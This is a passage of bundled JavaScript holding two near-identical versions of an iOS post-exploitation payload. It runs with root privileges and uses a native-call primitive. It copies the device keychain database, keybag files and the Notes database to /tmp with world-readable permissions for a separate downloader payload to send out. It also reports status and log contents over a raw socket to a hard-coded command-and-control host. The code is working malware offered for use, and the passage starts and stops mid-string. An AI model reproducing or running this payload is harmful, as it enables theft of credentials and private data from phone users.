#dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet addr = this.#dlsymCache[name];\n\t\tif (addr) return addr;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nameBytes = this.stringToBytes(name, true);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tbuff8.set(new Uint8Array(nameBytes), 0x1000);\n\t\taddr = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (addr) this.#dlsymCache[name] = addr;\n\t\treturn addr;\n\t}\n\t\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet buff = new BigInt64Array(nativeCallBuff);\n\t\tbuff[0] = addr;\n\t\tbuff[100] = x0;\n\t\tbuff[101] = x1;\n\t\tbuff[102] = x2;\n\t\tbuff[103] = x3;\n\t\tbuff[104] = x4;\n\t\tbuff[105] = x5;\n\t\tbuff[106] = x6;\n\t\tbuff[107] = x7;\n\t\tinvoker();\n\t\treturn buff[200];\n\t}\n\t\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst funcAddr = this.#dlsym(name);\n\t\tconst ret64 = this.#nativeCallAddr(funcAddr, ...args);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn) return Number(ret64);\n\t\treturn ret64;\n\t}\n}\n\n// ============================================================================\n// Configuration\n// ============================================================================\n\nconst TAG = \"INFO\";\n\n// Destination directory for copied files\nconst DEST_DIR = \"/tmp\";\n\n// ============================================================================\n// Keychain and Keybag Files to Copy (iOS 18)\n// ============================================================================\n\nconst KEYCHAIN_FILES = [\n\t// Keychain database\n\t{ src: \"/private/var/Keychains/keychain-2.db\", dst: \"keychain-2.db\" },\n\t{ src: \"/private/var/Keychains/keychain-2.db-wal\", dst: \"keychain-2.db-wal\" },\n\t{ src: \"/private/var/Keychains/keychain-2.db-shm\", dst: \"keychain-2.db-shm\" },\n\t\n\t// Keybag files in /var/keybags\n\t{ src: \"/var/keybags/persona.kb\", dst: \"persona.kb\" },\n\t{ src: \"/var/keybags/usersession.kb\", dst: \"usersession.kb\" },\n\t{ src: \"/var/keybags/backup/backup_keys_cache.sqlite\", dst: \"backup_keys_cache.sqlite\" },\n\t{ src: \"/private/var/keybags/persona.kb\", dst: \"persona_private.kb\" },\n\t{ src: \"/private/var/keybags/usersession.kb\", dst: \"usersession_private.kb\" },\n\t\n\t// Keybag files in Keychains directory\n\t{ src: \"/private/var/Keychains/System.keybag\", dst: \"System.keybag\" },\n\t{ src: \"/private/var/Keychains/Backup.keybag\", dst: \"Backup.keybag\" },\n\t\n\t// Notes database\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite\", dst: \"notes.sqlite\" },\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite-wal\", dst: \"notes.sqlite-wal\" },\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite-shm\", dst: \"notes.sqlite-shm\" },\n\t{ src: \"/private/var/Keychains/persona.kb\", dst: \"persona_keychains.kb\" },\n\t{ src: \"/private/var/Keychains/usersession.kb\", dst: \"usersession_keychains.kb\" },\n\t{ src: \"/private/var/Keychains/device.kb\", dst: \"device.kb\" },\n];\n\n// ============================================================================\n// Helper Functions\n// ============================================================================\n\nfunction fileExists(filePath) {\n\tconst result = Native.callSymbol(\"access\", filePath, 0);\n\treturn Number(result) === 0;\n}\n\nfunction getFileSize(filePath) {\n\ttry {\n\t\tconst statBuf = Native.callSymbol(\"malloc\", BigInt(144));\n\t\tif (!statBuf || statBuf === 0n) return -1;\n\t\t\n\t\ttry {\n\t\t\tconst statResult = Native.callSymbol(\"stat\", filePath, statBuf);\n\t\t\tif (statResult !== 0) return -1;\n\t\t\t\n\t\t\tconst statData = Native.read(statBuf, 144);\n\t\t\tconst statView = new DataView(statData);\n\t\t\treturn Number(statView.getBigUint64(0x60, true));\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", statBuf);\n\t\t}\n\t} catch (e) {\n\t\treturn -1;\n\t}\n}\n\n/**\n * Copy a file from src to dst with specified permissions\n */\nfunction copyFile(srcPath, dstPath, mode) {\n\ttry {\n\t\t// Check if source exists\n\t\tif (!fileExists(srcPath)) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tconst fileSize = getFileSize(srcPath);\n\t\tif (fileSize < 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif (fileSize === 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t// Open source for reading\n\t\tconst srcFd = Native.callSymbol(\"open\", srcPath, 0); // O_RDONLY\n\t\tif (Number(srcFd) < 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\ttry {\n\t\t\t// Create/open destination for writing\n\t\t\t// O_WRONLY | O_CREAT | O_TRUNC = 0x601\n\t\t\tconst dstFd = Native.callSymbol(\"open\", dstPath, 0x601, mode);\n\t\t\tif (Number(dstFd) < 0) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\ttry {\n\t\t\t\t// Copy in chunks\n\t\t\t\tconst chunkSize = 64 * 1024;\n\t\t\t\tlet totalCopied = 0;\n\t\t\t\t\n\t\t\t\twhile (totalCopied < fileSize) {\n\t\t\t\t\tconst remaining = fileSize - totalCopied;\n\t\t\t\t\tconst toRead = remaining > chunkSize ? chunkSize : remaining;\n\t\t\t\t\t\n\t\t\t\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\t\t\t\tif (!buf || buf === 0n) break;\n\t\t\t\t\t\n\t\t\t\t\ttry {\n\t\t\t\t\t\tconst bytesRead = Native.callSymbol(\"read\", srcFd, buf, toRead);\n\t\t\t\t\t\tif (Number(bytesRead) <= 0) break;\n\t\t\t\t\t\t\n\t\t\t\t\t\tconst bytesWritten = Native.callSymbol(\"write\", dstFd, buf, Number(bytesRead));\n\t\t\t\t\t\tif (Number(bytesWritten) <= 0) break;\n\t\t\t\t\t\t\n\t\t\t\t\t\ttotalCopied += Number(bytesWritten);\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Set permissions to 777 (0777 = 511 decimal)\n\t\t\t\tNative.callSymbol(\"chmod\", dstPath, mode);\n\t\t\t\t\n\t\t\t\treturn totalCopied > 0;\n\t\t\t\t\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"close\", dstFd);\n\t\t\t}\n\t\t} finally {\n\t\t\tNative.callSymbol(\"close\", srcFd);\n\t\t}\n\t\t\n\t} catch (e) {\n\t\treturn false;\n\t}\n}\n\n// ============================================================================\n// Main Execution\n// ============================================================================\n\nNative.init();\n\n\nvar __kcCopyDbOk = false;\nvar __kcCopyDbSz = -1;\nvar __kcCopySrcOk = false;\nvar __kcCopySrcSz = -1;\nvar __kcCopyOkN = 0;\nvar __kcCopyFailN = 0;\nvar __kcCopyExc = false;\n\ntry {\n\tfor (const file of KEYCHAIN_FILES) {\n\t\tconst srcPath = file.src;\n\t\tconst dstPath = DEST_DIR + \"/\" + file.dst;\n\n\t\t// Copy with 777 permissions (0777 = 511)\n\t\tif (copyFile(srcPath, dstPath, 511)) {\n\t\t\t__kcCopyOkN++;\n\t\t\tif (file.dst === \"keychain-2.db\") {\n\t\t\t\t__kcCopyDbOk = true;\n\t\t\t\t__kcCopyDbSz = getFileSize(dstPath);\n\t\t\t\t__kcCopySrcOk = fileExists(srcPath);\n\t\t\t\t__kcCopySrcSz = getFileSize(srcPath);\n\t\t\t\ttry { Native.callSymbol(\"chmod\", dstPath, 511); } catch (_c) {}\n\t\t\t}\n\t\t} else {\n\t\t\t__kcCopyFailN++;\n\t\t\tif (file.dst === \"keychain-2.db\") {\n\t\t\t\t__kcCopySrcOk = fileExists(srcPath);\n\t\t\t\t__kcCopySrcSz = getFileSize(srcPath);\n\t\t\t}\n\t\t}\n\t}\n} catch (e) {\n\t__kcCopyExc = true;\n}\n\n// ===== DEBUG uplink: ship /tmp/p7_debug.log tail to C2 via raw socket =====\n// Runs in configd (root) — can read /tmp even though mediaplaybackd cannot.\nfunction _dbgSockSend(tag) {\n\ttry {\n\t\tvar sfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\t\tif (sfd < 0) return;\n\t\tvar one = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(one, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", sfd, 0xffff, 0x1022, one, 4);\n\t\tNative.callSymbol(\"free\", one);\n\t\tvar abuf = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar a8 = new Uint8Array(16);\n\t\ta8[0] = 16; a8[1] = 2; a8[2] = 0x1B; a8[3] = 0x6E; // port 7022 BE\n\t\ta8[4] = 192; a8[5] = 168; a8[6] = 4; a8[7] = 10;\n\t\tNative.write(abuf, a8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", sfd, abuf, 16)) === 0) {\n\t\t\tvar safe = String(tag || \"\").replace(/=/g, \"-\").replace(/[^A-Za-z0-9._~\\-]/g, \"_\");\n\t\t\tvar req = \"GET /log.html?text=\" + safe + \" HTTP/1.0\\r\\nHost: mh0usocqzi6f46i.com\\r\\n\\r\\n\";\n\t\t\tvar rbuf = Native.callSymbol(\"malloc\", req.length + 1);\n\t\t\tNative.writeString(rbuf, req);\n\t\t\tNative.callSymbol(\"write\", sfd, rbuf, req.length);\n\t\t\tNative.callSymbol(\"free\", rbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", sfd);\n\t\tNative.callSymbol(\"free\", abuf);\n\t} catch(e) {}\n}\n\n// Notify MPD: ready=1 + path when keychain-2.db copy succeeded.\n// MPD must wait for this signal (not size>1MB), then sqlite3_open + securityd unwrap.\ntry {\n\t_dbgSockSend(\n\t\t\"kc_copy_db_ok=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\"_sz=\" + __kcCopyDbSz +\n\t\t\"_src=\" + (__kcCopySrcOk ? \"1\" : \"0\") +\n\t\t\"_ssz=\" + __kcCopySrcSz +\n\t\t\"_ok=\" + __kcCopyOkN +\n\t\t\"_fail=\" + __kcCopyFailN +\n\t\t(__kcCopyExc ? \"_EXC\" : \"\")\n\t);\n} catch (_b) {}\ntry {\n\tvar __kcPath = DEST_DIR + \"/keychain-2.db\";\n\tvar st = \"ready=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\" db_ok=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\" path=\" + __kcPath +\n\t\t\" sz=\" + __kcCopyDbSz +\n\t\t\" src=\" + (__kcCopySrcOk ? \"1\" : \"0\") +\n\t\t\" ssz=\" + __kcCopySrcSz +\n\t\t\" ok=\" + __kcCopyOkN +\n\t\t\" fail=\" + __kcCopyFailN + \"\\n\";\n\tvar sfd2 = Number(Native.callSymbol(\"open\", \"/tmp/keychain_copier_status.txt\", 0x601, 511));\n\tif (sfd2 >= 0) {\n\t\tvar sbuf = Native.callSymbol(\"malloc\", BigInt(st.length + 1));\n\t\tNative.writeString(sbuf, st);\n\t\tNative.callSymbol(\"write\", sfd2, sbuf, st.length);\n\t\tNative.callSymbol(\"close\", sfd2);\n\t\tNative.callSymbol(\"free\", sbuf);\n\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_copier_status.txt\", 511);\n\t}\n\tif (__kcCopyDbOk) {\n\t\tvar gfd = Number(Native.callSymbol(\"open\", \"/tmp/keychain_mpd_go\", 0x601, 511));\n\t\tif (gfd >= 0) {\n\t\t\tvar gbuf = Native.callSymbol(\"malloc\", BigInt(__kcPath.length + 2));\n\t\t\tNative.writeString(gbuf, __kcPath + \"\\n\");\n\t\t\tNative.callSymbol(\"write\", gfd, gbuf, __kcPath.length + 1);\n\t\t\tNative.callSymbol(\"close\", gfd);\n\t\t\tNative.callSymbol(\"free\", gbuf);\n\t\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_mpd_go\", 511);\n\t\t}\n\t\t_dbgSockSend(\"kc_copy_READY_notify_mpd_path_\" + __kcPath.replace(/\\//g, \"_\"));\n\t}\n} catch (_s) {}\n\ntry {\n\tvar p7fd = Number(Native.callSymbol(\"open\", \"/tmp/p7_debug.log\", 0));\n\tif (p7fd < 0) {\n\t\t_dbgSockSend(\"kc_alive_p7log_MISSING\");\n\t} else {\n\t\tvar fend = Number(Native.callSymbol(\"lseek\", p7fd, 0, 2)); // SEEK_END\n\t\tvar fstart = fend > 1400 ? fend - 1400 : 0;\n\t\tNative.callSymbol(\"lseek\", p7fd, fstart, 0);\n\t\tvar rbuf2 = Native.callSymbol(\"malloc\", 1500);\n\t\tvar rn = Number(Native.callSymbol(\"read\", p7fd, rbuf2, 1400));\n\t\tNative.callSymbol(\"close\", p7fd);\n\t\tif (rn <= 0) {\n\t\t\t_dbgSockSend(\"kc_alive_p7log_EMPTY\");\n\t\t} else {\n\t\t\tvar d8 = new Uint8Array(Native.read(rbuf2, rn));\n\t\t\tvar hx = \"\";\n\t\t\tfor (var hi = 0; hi < d8.length; hi++) hx += (d8[hi] < 16 ? \"0\" : \"\") + d8[hi].toString(16);\n\t\t\tNative.callSymbol(\"free\", rbuf2);\n\t\t\t_dbgSockSend(\"kc_p7tail_\" + hx);\n\t\t}\n\t}\n} catch(e) {\n\ttry { _dbgSockSend(\"kc_p7tail_ERR\"); } catch(e2) {}\n}\n// ===== END DEBUG uplink =====\n\n\n"); +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// Keychain/Keybag Copier Payload\n// Runs under configd context which has access to keychain files\n// Copies keychain/keybag files to /tmp with 777 permissions\n// The main file_downloader payload will then send them\n\nclass Native {\n\t\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\t\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\t\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\n\tstatic #dlsymCache = {};\n\t\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\t\t\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t}\n\t\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0;\n\t\tlet left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000) len = 0x1000;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0;\n\t\tlet left = length;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000) len = 0x1000;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\t\n\tstatic readPtr(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\t\n\tstatic read32(ptr) {\n\t\tlet buff = this.read(ptr, 4);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getInt32(0, true);\n\t}\n\t\n\tstatic write64(ptr, value) {\n\t\tconst buff = new ArrayBuffer(8);\n\t\tconst view = new DataView(buff);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\t\n\tstatic writeString(ptr, str) {\n\t\tconst buff = this.stringToBytes(str, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\telse if (typeof value === 'bigint') return value;\n\t\telse return BigInt(value);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet addr = this.#dlsymCache[name];\n\t\tif (addr) return addr;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nameBytes = this.stringToBytes(name, true);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tbuff8.set(new Uint8Array(nameBytes), 0x1000);\n\t\taddr = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (addr) this.#dlsymCache[name] = addr;\n\t\treturn addr;\n\t}\n\t\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet buff = new BigInt64Array(nativeCallBuff);\n\t\tbuff[0] = addr;\n\t\tbuff[100] = x0;\n\t\tbuff[101] = x1;\n\t\tbuff[102] = x2;\n\t\tbuff[103] = x3;\n\t\tbuff[104] = x4;\n\t\tbuff[105] = x5;\n\t\tbuff[106] = x6;\n\t\tbuff[107] = x7;\n\t\tinvoker();\n\t\treturn buff[200];\n\t}\n\t\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst funcAddr = this.#dlsym(name);\n\t\tconst ret64 = this.#nativeCallAddr(funcAddr, ...args);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn) return Number(ret64);\n\t\treturn ret64;\n\t}\n}\n\n// ============================================================================\n// Configuration\n// ============================================================================\n\nconst TAG = \"INFO\";\n\n// Destination directory for copied files\nconst DEST_DIR = \"/tmp\";\n\n// ============================================================================\n// Keychain and Keybag Files to Copy (iOS 18)\n// ============================================================================\n\nconst KEYCHAIN_FILES = [\n\t// Keychain database\n\t{ src: \"/private/var/Keychains/keychain-2.db\", dst: \"keychain-2.db\" },\n\t{ src: \"/private/var/Keychains/keychain-2.db-wal\", dst: \"keychain-2.db-wal\" },\n\t{ src: \"/private/var/Keychains/keychain-2.db-shm\", dst: \"keychain-2.db-shm\" },\n\t\n\t// Keybag files in /var/keybags\n\t{ src: \"/var/keybags/persona.kb\", dst: \"persona.kb\" },\n\t{ src: \"/var/keybags/usersession.kb\", dst: \"usersession.kb\" },\n\t{ src: \"/var/keybags/backup/backup_keys_cache.sqlite\", dst: \"backup_keys_cache.sqlite\" },\n\t{ src: \"/private/var/keybags/persona.kb\", dst: \"persona_private.kb\" },\n\t{ src: \"/private/var/keybags/usersession.kb\", dst: \"usersession_private.kb\" },\n\t\n\t// Keybag files in Keychains directory\n\t{ src: \"/private/var/Keychains/System.keybag\", dst: \"System.keybag\" },\n\t{ src: \"/private/var/Keychains/Backup.keybag\", dst: \"Backup.keybag\" },\n\t\n\t// Notes database\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite\", dst: \"notes.sqlite\" },\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite-wal\", dst: \"notes.sqlite-wal\" },\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite-shm\", dst: \"notes.sqlite-shm\" },\n\t{ src: \"/private/var/Keychains/persona.kb\", dst: \"persona_keychains.kb\" },\n\t{ src: \"/private/var/Keychains/usersession.kb\", dst: \"usersession_keychains.kb\" },\n\t{ src: \"/private/var/Keychains/device.kb\", dst: \"device.kb\" },\n];\n\n// ============================================================================\n// Helper Functions\n// ============================================================================\n\nfunction fileExists(filePath) {\n\tconst result = Native.callSymbol(\"access\", filePath, 0);\n\treturn Number(result) === 0;\n}\n\nfunction getFileSize(filePath) {\n\ttry {\n\t\tconst statBuf = Native.callSymbol(\"malloc\", BigInt(144));\n\t\tif (!statBuf || statBuf === 0n) return -1;\n\t\t\n\t\ttry {\n\t\t\tconst statResult = Native.callSymbol(\"stat\", filePath, statBuf);\n\t\t\tif (statResult !== 0) return -1;\n\t\t\t\n\t\t\tconst statData = Native.read(statBuf, 144);\n\t\t\tconst statView = new DataView(statData);\n\t\t\treturn Number(statView.getBigUint64(0x60, true));\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", statBuf);\n\t\t}\n\t} catch (e) {\n\t\treturn -1;\n\t}\n}\n\n/**\n * Copy a file from src to dst with specified permissions\n */\nfunction copyFile(srcPath, dstPath, mode) {\n\ttry {\n\t\t// Check if source exists\n\t\tif (!fileExists(srcPath)) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tconst fileSize = getFileSize(srcPath);\n\t\tif (fileSize < 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif (fileSize === 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t// Open source for reading\n\t\tconst srcFd = Native.callSymbol(\"open\", srcPath, 0); // O_RDONLY\n\t\tif (Number(srcFd) < 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\ttry {\n\t\t\t// Create/open destination for writing\n\t\t\t// O_WRONLY | O_CREAT | O_TRUNC = 0x601\n\t\t\tconst dstFd = Native.callSymbol(\"open\", dstPath, 0x601, mode);\n\t\t\tif (Number(dstFd) < 0) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\ttry {\n\t\t\t\t// Copy in chunks\n\t\t\t\tconst chunkSize = 64 * 1024;\n\t\t\t\tlet totalCopied = 0;\n\t\t\t\t\n\t\t\t\twhile (totalCopied < fileSize) {\n\t\t\t\t\tconst remaining = fileSize - totalCopied;\n\t\t\t\t\tconst toRead = remaining > chunkSize ? chunkSize : remaining;\n\t\t\t\t\t\n\t\t\t\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\t\t\t\tif (!buf || buf === 0n) break;\n\t\t\t\t\t\n\t\t\t\t\ttry {\n\t\t\t\t\t\tconst bytesRead = Native.callSymbol(\"read\", srcFd, buf, toRead);\n\t\t\t\t\t\tif (Number(bytesRead) <= 0) break;\n\t\t\t\t\t\t\n\t\t\t\t\t\tconst bytesWritten = Native.callSymbol(\"write\", dstFd, buf, Number(bytesRead));\n\t\t\t\t\t\tif (Number(bytesWritten) <= 0) break;\n\t\t\t\t\t\t\n\t\t\t\t\t\ttotalCopied += Number(bytesWritten);\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Set permissions to 777 (0777 = 511 decimal)\n\t\t\t\tNative.callSymbol(\"chmod\", dstPath, mode);\n\t\t\t\t\n\t\t\t\treturn totalCopied > 0;\n\t\t\t\t\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"close\", dstFd);\n\t\t\t}\n\t\t} finally {\n\t\t\tNative.callSymbol(\"close\", srcFd);\n\t\t}\n\t\t\n\t} catch (e) {\n\t\treturn false;\n\t}\n}\n\n// ============================================================================\n// Main Execution\n// ============================================================================\n\nNative.init();\n\n\nvar __kcCopyDbOk = false;\nvar __kcCopyDbSz = -1;\nvar __kcCopySrcOk = false;\nvar __kcCopySrcSz = -1;\nvar __kcCopyOkN = 0;\nvar __kcCopyFailN = 0;\nvar __kcCopyExc = false;\n\ntry {\n\tfor (const file of KEYCHAIN_FILES) {\n\t\tconst srcPath = file.src;\n\t\tconst dstPath = DEST_DIR + \"/\" + file.dst;\n\n\t\t// Copy with 777 permissions (0777 = 511)\n\t\tif (copyFile(srcPath, dstPath, 511)) {\n\t\t\t__kcCopyOkN++;\n\t\t\tif (file.dst === \"keychain-2.db\") {\n\t\t\t\t__kcCopyDbOk = true;\n\t\t\t\t__kcCopyDbSz = getFileSize(dstPath);\n\t\t\t\t__kcCopySrcOk = fileExists(srcPath);\n\t\t\t\t__kcCopySrcSz = getFileSize(srcPath);\n\t\t\t\ttry { Native.callSymbol(\"chmod\", dstPath, 511); } catch (_c) {}\n\t\t\t}\n\t\t} else {\n\t\t\t__kcCopyFailN++;\n\t\t\tif (file.dst === \"keychain-2.db\") {\n\t\t\t\t__kcCopySrcOk = fileExists(srcPath);\n\t\t\t\t__kcCopySrcSz = getFileSize(srcPath);\n\t\t\t}\n\t\t}\n\t}\n} catch (e) {\n\t__kcCopyExc = true;\n}\n\n// ===== DEBUG uplink: ship /tmp/p7_debug.log tail to C2 via raw socket =====\n// Runs in configd (root) — can read /tmp even though mediaplaybackd cannot.\nfunction _dbgSockSend(tag) {\n\ttry {\n\t\tvar sfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\t\tif (sfd < 0) return;\n\t\tvar one = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(one, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", sfd, 0xffff, 0x1022, one, 4);\n\t\tNative.callSymbol(\"free\", one);\n\t\tvar abuf = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar a8 = new Uint8Array(16);\n\t\ta8[0] = 16; a8[1] = 2; a8[2] = 0x1B; a8[3] = 0x6E; // port 7022 BE\n\t\ta8[4] = 192; a8[5] = 168; a8[6] = 4; a8[7] = 10;\n\t\tNative.write(abuf, a8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", sfd, abuf, 16)) === 0) {\n\t\t\tvar safe = String(tag || \"\").replace(/=/g, \"-\").replace(/[^A-Za-z0-9._~\\-]/g, \"_\");\n\t\t\tvar req = \"GET /log.html?text=\" + safe + \" HTTP/1.0\\r\\nHost: 192.168.31.130\\r\\n\\r\\n\";\n\t\t\tvar rbuf = Native.callSymbol(\"malloc\", req.length + 1);\n\t\t\tNative.writeString(rbuf, req);\n\t\t\tNative.callSymbol(\"write\", sfd, rbuf, req.length);\n\t\t\tNative.callSymbol(\"free\", rbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", sfd);\n\t\tNative.callSymbol(\"free\", abuf);\n\t} catch(e) {}\n}\n\n// Notify MPD: ready=1 + path when keychain-2.db copy succeeded.\n// MPD must wait for this signal (not size>1MB), then sqlite3_open + securityd unwrap.\ntry {\n\t_dbgSockSend(\n\t\t\"kc_copy_db_ok=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\"_sz=\" + __kcCopyDbSz +\n\t\t\"_src=\" + (__kcCopySrcOk ? \"1\" : \"0\") +\n\t\t\"_ssz=\" + __kcCopySrcSz +\n\t\t\"_ok=\" + __kcCopyOkN +\n\t\t\"_fail=\" + __kcCopyFailN +\n\t\t(__kcCopyExc ? \"_EXC\" : \"\")\n\t);\n} catch (_b) {}\ntry {\n\tvar __kcPath = DEST_DIR + \"/keychain-2.db\";\n\tvar st = \"ready=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\" db_ok=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\" path=\" + __kcPath +\n\t\t\" sz=\" + __kcCopyDbSz +\n\t\t\" src=\" + (__kcCopySrcOk ? \"1\" : \"0\") +\n\t\t\" ssz=\" + __kcCopySrcSz +\n\t\t\" ok=\" + __kcCopyOkN +\n\t\t\" fail=\" + __kcCopyFailN + \"\\n\";\n\tvar sfd2 = Number(Native.callSymbol(\"open\", \"/tmp/keychain_copier_status.txt\", 0x601, 511));\n\tif (sfd2 >= 0) {\n\t\tvar sbuf = Native.callSymbol(\"malloc\", BigInt(st.length + 1));\n\t\tNative.writeString(sbuf, st);\n\t\tNative.callSymbol(\"write\", sfd2, sbuf, st.length);\n\t\tNative.callSymbol(\"close\", sfd2);\n\t\tNative.callSymbol(\"free\", sbuf);\n\t\tNative.callSymbol(\"chmod\", 